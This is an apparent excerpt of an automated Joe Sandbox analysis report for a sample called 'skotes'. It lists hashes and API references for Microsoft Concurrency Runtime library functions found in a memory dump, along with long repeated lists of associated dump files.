Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: bff1e82c37f005f2dd06a8fa4e938cf1786d71cf46f18458193502d44dd27bfc
Instruction ID: 8fb421ac120ec2a498c36d6585b7a7a34d238b04da7e8b8b15c5de1d7e180ed4
Opcode Fuzzy Hash: bff1e82c37f005f2dd06a8fa4e938cf1786d71cf46f18458193502d44dd27bfc
Instruction Fuzzy Hash: 0B21BD31900614EFCB24EF65D8908ABF3F9FF897007004A5EE442A7651EB38F905CBA2

Function 007A4885 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 007A4893
ListArray.LIBCONCRT ref: 007A48A5

Part of subcall function 007A5555: _InternalDeleteHelper.LIBCONCRT ref: 007A5564

ListArray.LIBCONCRT ref: 007A48AF
_InternalDeleteHelper.LIBCONCRT ref: 007A48C8

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: ef4c9461718b1f99dbcad9c117a2e0a4d19b18ca6abdac02632959a0d400cf72
Instruction ID: 671bde24952016c4122bff760823f41124d4ed38696a472b3369b442df76e762
Opcode Fuzzy Hash: ef4c9461718b1f99dbcad9c117a2e0a4d19b18ca6abdac02632959a0d400cf72
Instruction Fuzzy Hash: F501FE72600511FFCF257B94E8C6E6DB76ABFC67107010229F40457515CF5DEC228790

Function 007AEE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 007AEE6A
ListArray.LIBCONCRT ref: 007AEE7C

Part of subcall function 007AEF29: _InternalDeleteHelper.LIBCONCRT ref: 007AEF3B

ListArray.LIBCONCRT ref: 007AEE86
_InternalDeleteHelper.LIBCONCRT ref: 007AEE9F

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: ac2ab7cf62293962a812bfef91e1130226c1e7a0262f7ecca7960d609c809473
Instruction ID: 5485494527c204a76c44ae06877f6efd1d0d220f089c255302b580cd80a16f46
Opcode Fuzzy Hash: ac2ab7cf62293962a812bfef91e1130226c1e7a0262f7ecca7960d609c809473
Instruction Fuzzy Hash: 3A018672600521FFDE25BBA0D9C6D6EBB69FFC67107050229F40457611CB28FC6296D1

Function 007AD0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 007AD0C5
ListArray.LIBCONCRT ref: 007AD0D7

Part of subcall function 007AC6B2: _InternalDeleteHelper.LIBCONCRT ref: 007AC6C4

ListArray.LIBCONCRT ref: 007AD0E1
_InternalDeleteHelper.LIBCONCRT ref: 007AD0FA

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: fbdfbc3f12decb7c2c072ff49026fb1657126cdfa73b049488aacf70b12bca46
Instruction ID: 6ec2c5e754dac3fdee066733a15680a37b13938f1f59ab5f57483b2d749c6a0f
Opcode Fuzzy Hash: fbdfbc3f12decb7c2c072ff49026fb1657126cdfa73b049488aacf70b12bca46
Instruction Fuzzy Hash: 1C01D672240521FFCE36BBA0C9CAD6EB769BFC6710B010229F40197A11CF28AC528690

Function 007B33C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 007B33DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 007B33EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 007B3407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 007B341F

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: 91fc2c78b9c6b62c0bc3a12f8d9da9d95713c0d5042b39d0f0702e7b0e391bab
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 5601D632600514E7CF16EE548845BFF77A99F85750F100115FC16AB282DA79EE4097A0

Function 007A9510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 007A9519

Part of subcall function 0079F4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 007A5486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 007A953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 007A9550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 007A9559

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
